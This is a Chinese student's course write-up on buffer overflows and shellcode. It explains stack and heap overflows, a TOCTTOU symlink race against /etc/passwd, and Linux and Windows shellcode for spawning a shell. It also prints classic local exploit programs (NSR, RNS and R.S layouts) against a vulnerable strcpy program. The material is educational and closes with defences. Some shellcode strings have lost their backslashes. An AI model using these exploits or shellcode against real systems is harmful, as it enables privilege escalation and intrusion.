软件安全攻防-缓冲区溢出和shellcode
0. 总体结构
本次作业属于哪个课程 | 网络攻防实践 |
---|---|
这个作业要求在哪里 | 软件安全攻防-缓冲区溢出和shellcode |
我在这个课程的目标是 | 学习网络攻防相关技术和原理 |
这个作业在哪个具体方面帮助我实现目标 | 学习软件安全攻防的相关知识,学会写shellcode |
1. 实践内容
第十章的主要内容是关于缓冲区溢出和Shellcode的相关内容,从软件安全漏洞开始讲起,引出缓冲区溢出和Shellcode的相关概念,并从Linux和Windows两个系统进行讲解,最后也给出了软件安全的相关防御措施。所以原理内容本文主要分为以下几个部分。
- 软件安全漏洞威胁
- 缓冲区溢出基本概念
- Linux栈溢出与Shellcode
- Windows栈溢出与Shellcode
- 堆溢出攻击
- 缓冲区溢出攻击的防御技术
1.1 软件安全漏洞威胁
-
软件安全漏洞定义:在系统安全流程、设计、实现或内部控制中所存在的缺陷或弱点,能够被攻击者所利用并导致安全侵害或对系统安全策略的违反。包括三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性、攻击者对缺陷的可利用性。
-
软件安全困境:
- 复杂性:代码的复杂性,集成度。
- 可扩展性:现代大部分软件经常要支持可扩展性,设计可扩展机制,都必须要考虑安全特性。
- 连通性:互联网遍布全世界各地,高度连通性意味着网络安全威胁的全球化,与真实世界的连通意味着网络安全威胁的现实影响越来越大。
-
软件安全漏洞分类:
-
内存安全违规类:在软件开发过程中在处理RAM内存访问时所引入的安全缺陷,缓冲区溢出漏洞是一种最基础的内存安全问题。
-
输入验证类:软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。如XSS、SQL注入、远程文件包含、HTTP Header注入等。
-
竞争条件类:系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。
- 这里的TOCTTOU攻击可能比较难以理解,我给出一个实例代码,简单的介绍下,更加具体的内容大家可以参考关于TOCTTOU攻击简介进行了解。一种常见的原因是代码先检查某个前置条件(例如认证),然后基于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件却可能被改变。
if (access("filePathName", W_OK)) { exit(EXIT_FAILURE); } fd = open("filePathName", O_WRONLY); write(fd, buffer, sizeof(buffer));
- 这个程序比较简单就不说了,还是说为什么这个程序有TOCTTOU bug存在。
access()
这个检查和open()
这个实际访问操作中可能会有其他恶意程序对文件系统进行更改,从而导致恶意访问发生。譬如,在access()
和open()
之间插入下面的代码。攻击者在access
和open
之间的时间片中将setuid
程序的写入点改变为了/etc/passwd
,而open
的检查可以顺利通过(euid
为0),从而向敏感文件写入数据,最终达到提权目的。这也是为什么VS更加建议我们用open_s()
的原因了。
unlink("filePathName"); symlink("/etc/passwd", "filePathName");
-
权限混淆与提升类:计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。如跨站请求伪造、FTP反弹攻击、权限提升、“越狱"等。
-
1.2 缓冲区溢出基本概念
-
定义:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。
-
本质原因:
- 缺乏缓冲区边界保护(C/C++语言程序:效率优先、
memcpy()
、strcpy()
等内存与字符串拷贝 函数并不检查内存越界问题、程序员缺乏安全编程意识、经验与技巧)。 - 冯·诺依曼体系存在本质安全缺陷,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。
- 缺乏缓冲区边界保护(C/C++语言程序:效率优先、
-
说明:下面主要对背景知识做一些介绍,包括汇编、编译器、函数调用等知识。这个是需要大家长期积累的,本文省略一部分比较简单的内容,对复杂的内容也只能稍微讲解,多而杂,还是需要多多学习。
-
GDB调试器
- 详细学习内容请参考GDB调试器使用总结。
- 断点相关指令(
break/clear
,disable/enable/delete
,watch
-表达式值改变时,程序中断)。 - 执行相关指令(
run/continue/next/step
,attach
-调试已运行的进程,finish/return
)。 - 信息查看相关指令(
info reg/break/files/args/frame/functions/...
,backtrace
-函数调用栈,x/nfu addr
–显示指定内存地址的内容,disass func
-反汇编指定函数)。
-
汇编语言基础
-
首先这个真的是一门深奥的课程,如果只是浅尝辄止,那么看看阮一峰老师的汇编语言入门教程,如果不是,当然是找本书啃。
-
寄存器
寄存器名 说明 功能 eax 累加器 加法乘法指令的缺省寄存器, 函数返回值 ecx 计数器 REP & LOOP指令的内定计数器 edx 除法寄存器 存放整数除法产生的余数 ebx 基址寄存器 在内存寻址时存放基地址 esp 栈顶指针寄存器 当前堆栈的栈顶指针 ebp 栈底指针寄存器 当前堆栈的栈底指针 esi、dei 源、目标索引寄存器 在字符串操作指令中,ESI指向源串,EDI指向目标串 eip 指令寄存器 指向下一条指令的地址 -
指令在上次实践中也讲到并且详细说了,这里就不赘述了。
-
-
进程内存管理:
- 内存空间的分配与回收。
- 地址转换:在多道程序环境下,程序中的逻辑地址与内存中的物理地址不可能一致,因此存储管理必须提供地址变换功能,把逻辑地址转换成相应的物理地址。
- 内存空间的扩充:利用虚拟存储技术或自动覆盖技术,从逻辑上扩充内存。
- 存储保护:保证各道作业在各自的存储空间内运行,互不干扰。
-
函数调用:
- 调用(call):调用参数和返回地址(eip)压栈,跳转到函数入口。
- 序言(prologue):调用函数的栈基址进行压栈保存,并创建自身函数的栈结构。
- 返回(return):恢复调用者原有栈,弹出返回地址,继续执行下一条指令。
-
缓冲区溢出攻击原理
- 根本问题:用户输入可控制的缓冲区操作缺乏对目标缓冲区的边界安全保护。
- 成功溢出攻击的三个挑战:如何找出缓冲区溢出要覆盖和修改的敏感位置? 将敏感位置的值修改成什么?执行什么代码指令来达到攻击目的?
- 类型:栈溢出、堆溢出、内核溢出。
- 缓冲区溢出的主要点在于数据的淹没,即超过缓冲区区域的高地址部分数据会淹没原本的其他栈数据。
- 淹没了其他的局部变量:如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。
- 淹没了ebp的值:修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。
- 淹没了返回地址:这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程。
- 淹没参数变量:修改函数的参数变量也可能改变当前函数的执行结果和流程。
- 淹没上级函数的栈帧:情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改。
1.3 Linux栈溢出与Shellcode
-
为了更好的讲解三个模式,我还是先说一下shellcode和其他内容吧,后面分析三种模式实例会方便很多。
-
Linux本地缓冲区溢出的特权提升:
- 运行时刻可以提升至根用户权限进行一些操作。
- 攻击者就可以在注入shellcode中增加一个
setreuid(0)
的系统调用。 - 给出根用户权限的Shell。
-
Linux远程缓冲区溢出:远程缓冲区溢出与本地缓冲区溢出比较:原理一致。用户输入传递途径区别:远程缓冲区溢出采用网络而本地缓冲区溢出命令行/文件的方式。Shellcode编写区别:远程缓冲区溢出采用远程shell访问而本地缓冲区溢出是本地特权提升。
-
Linux远程shellcode实现机制:这里其实就是创建socket连接,并将shellcode通过socket注入,同时需要将命令行与socket绑定。
-
Shellcode通用的编写方法
- 先用高级编程语言,通常用C,来编写shellcode程序。
- 编译并反汇编调试这个shellcode程序。
- 从汇编语言代码级别分析程序执行流程。
- 整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试。
- 提取汇编代码所对应的opcode二进制指令(操作码,每个设备处理单元上的执行的指令),创建shellcode指令数组。
-
Linux上的Shellcode实例
-
首先给出shellcode的C语言版本,这段代码的主要内容就是通过
execve
调用/bin/sh
(shell)。所以这个代码就是一般我们想插入程序中的代码。#include <stdio.h> int main () { char * name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve( name[0], name, NULL ); return 0; }
-
接下来,我们将这段代码进行编译并查看其汇编代码,并且,我们需要对代码中含有的空字节进行消除,从而避免在渗透攻击的时候,由于空字节(
mov $0x0,%edx
,其中含有空字节0x00
,所以我们采用的是xor %edx,%edx
来消除空字节。int main() { __asm__ (" xor %edx,%edx push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx mov $0xb,%eax int $0x80 ") }
-
最后,我们将其转化为Opcode版本(查找Intel opcode操作手册),并将opcode保存在攻击数据缓冲区,就是我们的shellcode了,在后面讲解三种模式的时候将着重介绍。
31 d2 // xor %edx,%edx 52 // push %edx 68 6e 2f 73 68 // push $0x68732f6e 68 2f 2f 62 69 // push $0x69622f2f 89 e3 // mov %esp,%ebx 52 // push %edx 53 // push %ebx 89 e1 // mov %esp,%ecx 8d 42 0b // lea 0xb(%edx),%eax cd 80 // int $0x80
-
-
三个模式:
- NSR模式:最经典的方法,漏洞程序有足够大的缓冲区。
- RNS模式:能够适合小缓冲区情况,更容易计算返回地址。
- R.S模式:精确计算shellcode地址, 不需要任何NOP,但对远程缓冲区溢出攻击不适用。
-
NSR模式
-
适用范围:被溢出的缓冲区变量比较大,足以容纳Shellcode。填充方式是从低地址到高地址的构造一堆Nop指令之后填充shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
-
实例分析
-
下面的代码是具有栈溢出漏洞的程序,我们将采用NSR模式进行攻击分析。这段程序的漏洞就非常明显了,在进行
strcpy
字符串拷贝函数的时候并没有进行长度的校验,很容易造成栈溢出。#include <stdio.h> int main(int argc,char **argv){ char buf[500]; strcpy(buf,argv[1]); printf("buf's 0x%8x ",&buf); getchar(); return 0; }
-
下面给出攻击代码,主要都是老师给的程序和书上的例子,这里主要还是进行分析。有时间的话,后面的实践就写一个如何写shellcode的部分吧。攻击程序的核心在于调用时传入的
buffer
变量,原程序定义的buffer长度为500
,可是在攻击程序里面长度是1056
,在这里首先填充了nopNum
长度的0x90
(就是我们通常说的着陆区),接下来就是memcpy
上shellcode,最后就是四个字节的返回地址了。这里可能很多人看到一开始的赋值返回地址不太理解,其实前面的部分都被着陆区和shellcode覆盖了,后面才是返回地址。#include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[] = "x31xc0" /* xor %eax, %eax */ "x50" /* push %eax */ "x68x2fx2fx73x68" /* push $0x68732f2f */ "x68x2fx62x69x6e" /* push $0x6e69622f */ "x89xe3" /* mov %esp,%ebx */ "x50" /* push %eax */ "x53" /* push %ebx */ "x89xe1" /* mov %esp,%ecx */ "x31xd2" /* xor %edx,%edx */ "xb0x0b" /* mov $0xb,%al */ "xcdx80"; /* int $0x80 */ #define BSIZE 1056 #define RET 0xbfffdaf0 int main(int argc,char **argv) { int bsize=BSIZE; unsigned long retaddr=RET; int nopNum = bsize-strlen(shellcode)-100; if(argc>1) bsize=atoi(argv[1]); if(argc>2) retaddr=atoi(argv[2]); if(argc>3) nopNum=atoi(argv[3]); char* buffer=(char *)malloc(sizeof(char)*bsize); int i; for(i=0;i<bsize;i+=4) *(long *)&buffer[i]=retaddr; for(i=0;i<nopNum;i++) *(long*)&buffer[i]=0x90; memcpy(buffer+i,shellcode,strlen(shellcode)); execl("chat","chat",buffer,NULL); return 0; }
-
-
-
RNS模式
-
适用范围:被溢出的变量比较小,不足于容纳Shellcode的情况。填充方式是从低地址到高地址首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。解释一下着陆区,或者叫做滑行区,这是非常形象的,Nop指令一是为了填充,二是为了让程序返回地址只要落在任何一个Nop上,自然会滑到我们的shellcode。
-
实例分析
-
下面的代码同样是具有缓冲区溢出漏洞的代码,与上面NSR模式唯一不同点在于缓冲区的长度很小。
#include <stdio.h> int main(int argc,char **argv){ char buf[10]; strcpy(buf,argv[1]); printf("buf's 0x%8x ",&buf); getchar(); return 0; }
-
下面同样给出攻击代码并分析。我们可以发现这里给
buffer
的空间全部填充了Nop,接着就是返回地址了,这里返回的地址是我们shellcode的地址,所以最后经过着陆区之后通过跳转到我们的shellcode执行地址来进行shellcode代码的执行。#include<stdio.h> #include<stdlib.h> #include<string.h> char *shellcode; int main(int argc,char **argv){ char buf[500]; unsigned long ret,p; int i; p=&buf; ret=p+70; memset(buf,0x90,sizeof(buf)); for(i=0;i<44;i+=4) *(long *)&buf[i]=ret; memcpy(buf+400+i,shellcode,strlen(shellcode)); execl("chat","chat",buf,NULL); return 0; }
-
-
-
R.S模式**
-
适用范围:精确地定位出shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建着陆区。将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:(ret=0xc0000000-sizeof(void *)-sizeof(filename)-sizeof(shellcode))。
-
实例分析
- 给出攻击代码如下,漏洞代码同RNS模式相同。这个程序首先就是计算返回地址,然后用
'A'
(0x41
)进行填充,这里只是为了让他溢出,然后引入shellcode的返回地址,让漏洞程序跳转到shellcode进行执行。
#include<stdio.h> #include<stdlib.h> #include<string.h> char *shellcode; int main(int argc,char **argv){ char buf[32]; char *p[]={"chat",buf,NULL}; char *env[]={"HOME=/root",shellcode,NULL}; unsigned long ret; ret=0xc0000000-strlen(shellcode)-strlen("chat")-sizeof(void *); memset(buf,0x41,sizeof(buf)); memcpy(&buf[28],&ret,4); printf("ret is at 0x%8x ",ret); execve("chat", "chat", buf, env); return 0; }
- 给出攻击代码如下,漏洞代码同RNS模式相同。这个程序首先就是计算返回地址,然后用
-
1.4 Windows栈溢出与Shellcode
-
Windows平台栈溢出与Linux平台的区别和原理
- 对废弃栈的处理导致NSR模式不适用于Win32,Linux对废弃栈不进行任何处理,而Windows会写入一些随机的数据。
- 进程内存空间的分布导致RNS模式不适用于Win32,Linux栈在3G(
0xC0000000
)附近,R地址中没有空字节,Windows栈在0x00FFFFFF
以下的用户空间,R地址中有空字节。 - shellcode实现机制不同,Linux通过中断进行系统调用,而Windows通过调用系统DLL提供的接口函数。
-
解决方案
- 通过
Jmp/Call ESP
指令跳转,跳转指令一般在进程内存空间中1G至2G区间中装载的系统核心 DLL(如Kernel32.dll、User32.dll等)、Windows代码页中的地址、应用程序加载的用户DLL、OllyUni插件提供Overflow Return Address功能。
- 通过
-
Windows平台的Shellcode实现
- 所需的Win32 API函数,生成函数调用表。
- 加载所需API函数库,定位函数加载地址。
- 消除空字节,编码对抗过滤。
- 确保自己可以正常退出,使目标程序进程继续运行或终止。
- 在目标系统环境存在异常处理和安全防护机制时,shellcode还需进一步考虑如何对抗这些机制。
-
Shellcode实例
-
下面是一个C语言版本的shellcode程序。首先使用
LoadLibrary()
加载msvcrt.dll
动态链接库,并且通过GetProcAddress()
函数获取system()
函数的加载入口地址,赋值给ProcAdd
函数指针,然后通过函数指针调用system
函数,启动命令行shell
。#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); typedef void (*MYPROC2)(int); void main() { HINSTANCE LibHandle; MYPROC ProcAdd; MYPROC2 ProcAdd2; char dllbuf[11] = "msvcrt.dll"; char sysbuf[7] = "system"; char cmdbuf[16] = "command.com"; char sysbuf2[5] = "exit"; LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC)GetProcAddress( LibHandle, sysbuf); (ProcAdd) (cmdbuf); ProcAdd2 = (MYPROC2) GetProcAddress( LibHandle, sysbuf2); (ProcAdd2)(0); }
-
编译得到汇编代码如下,主要的解释都放在注释里面了。
#include <windows.h> #include <winbase.h> void main() { LoadLibrary("msvcrt.dll"); __asm{ mov esp,ebp //把esp的内容赋值为ebp push ebp //保存ebp,esp-4 mov ebp,esp //给ebp赋新值,作为局部变量的基指针 xor edi,edi // push edi //压入0,esp-4 sub esp,08h //一共12个字符,用来放command.com mov byte ptr [ebp-0ch],63h mov byte ptr [ebp-0bh],6fh mov byte ptr [ebp-0ah],6dh mov byte ptr [ebp-09h],6Dh mov byte ptr [ebp-08h],61h mov byte ptr [ebp-07h],6eh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],63h mov byte ptr [ebp-03h],6fh mov byte ptr [ebp-02h],6dh //生成command.com lea eax,[ebp-0ch] push eax //串地址作为参数入栈 mov eax, 0x77bf8044 //API入口地址,根据调试获取 call eax //调用system } }
-
-
Windows远程Shellcode
- 创建一个服务器端socket,并在指定的端口上监听。
- 通过
accept()
接受客户端的网络连接。 - 创建子进程,运行
cmd.exe
,启动命令行。 - 创建两个管道,并且将shell连接至socket。
- 命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至
cmd.exe
的标准输入。 - 输出管道将
cmd.exe
的标准输出连接至服务器端socket的send,通过网络将运行结果反馈给客户端。
- 命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至
1.5 堆溢出攻击(heap overflow)
-
定义:在内存中的一些数据区,
.text
包含进程的代码,.data
包含已经初始化的数据,.bss
包含未经初始化的数据,heap运行时刻动态分配的数据区,在这些数据区溢出的情形,都称为heap overflow,这些数据区的特点是: 数据的增长由低地址向高地址。下面讲解几种引起堆溢出攻击的方式。 -
指针改写:先定义一个buffer,再定义一个指针,当对buffer填充数据的时候,如果不进行边界判断和控制的话,自然就会溢出到指针的内存 区,从而改变指针的值。
-
C++对象虚函数表改写:编译器为每一个包含虚函数的class建立起vtable,vtable中存放的是虚函数的地址,编译器也在每个class对象的内存区放入一个指向vtable 的指针(称为vptr),vptr的位置随编译器的不同而不 同,VC放在对象的起始处,gcc放在对象的末尾,设法改写vptr,让它指向另一段代码。
-
Linux堆内存管理漏洞: glibc库
free()
函数本身存在漏洞,攻击者可以通过精心构造unlinkme内存块进行free()
函数堆溢出攻击。- 当
unlink
宏被调用时,在what
位置的值将覆盖到where
位置上。 Where
: 栈返回地址、GOT全局偏移入口地址、 DTORS析构函数地址。What
: shellcode地址。
- 当
1.6 缓冲区溢出攻击的防御技术
- 人
- 注重软件产品安全性,建立安全意识。
- 提高软件开发人员安全意识、主动安全性的一些措施。
- 把安全问题写进企业的规章制度。
- 效果、效果、效果:量化安防风险,衡量安全性改进过程。
- 责任:安全责任模型,产品开发团队承担起大部分责任。
- 建立一整套开发流程,必须包括安全监督员、代码审查、产品安全性测试等。
- 技术
- 尝试杜绝溢出的防御技术,编写正确代码、查错: Fuzz注入测试、编译器引入缓冲区边界保护检查。
- 允许溢出但不让程序改变执行流程的防御技术
- StackGuard: 返回地址前添加检测标记,返回前检查。
- VS栈保护编译选项。
- gcc: -fstack-protector。
2. 实践过程
本周没有实践内容!
本周没有实践内容!
本周没有实践内容!
3. 学习中遇到的问题及解决
- 问题一:对机器码和汇编代码还是不熟悉。
- 问题一解决方案:找了一些二者的资料,慢慢学习。
- 问题二:写shellcode好像是挺麻烦的,尤其是一开始的调试过程。
- 问题二解决方案:对gdb调试工具的不熟悉造成的,万事开头难,0-1很难,1-10很简单。
4. 学习感悟、思考
- 通过这次实践真的越来越感觉到网络攻防是一门非常非常综合的课,你需要了解和学习的内容非常多,同样的,对每一方面特别精通的人,做网络攻防也一定有成就。
- NOTICE:首先我必须向那些我给他们推荐sm.ms图床的人说声抱歉,因为我上周在老师的提醒下,发现我图床里的图片丢了,同样带来的问题还有访问速度很慢的情况。所以我很快将所有图片都转移到了博客园,花费了我很长的时间。博客园确实加载速度没得说,并且没有限制,但是我硬生生转移了五个小时,足见其效率低下。最后我并没有找到一个免费的好用的图床(或者说目前还没有),其实博客园是个不错的选择,但是我实在对效率低下的东西没有好感。所以,我的解决方案是Gitee+PicGo+Typora,原来的方案是sm.ms+PicGo+Typora。最后的最后,这不是推荐,这只是我的解决方案,图片还是最好本地留一份吧,也幸亏我备份了。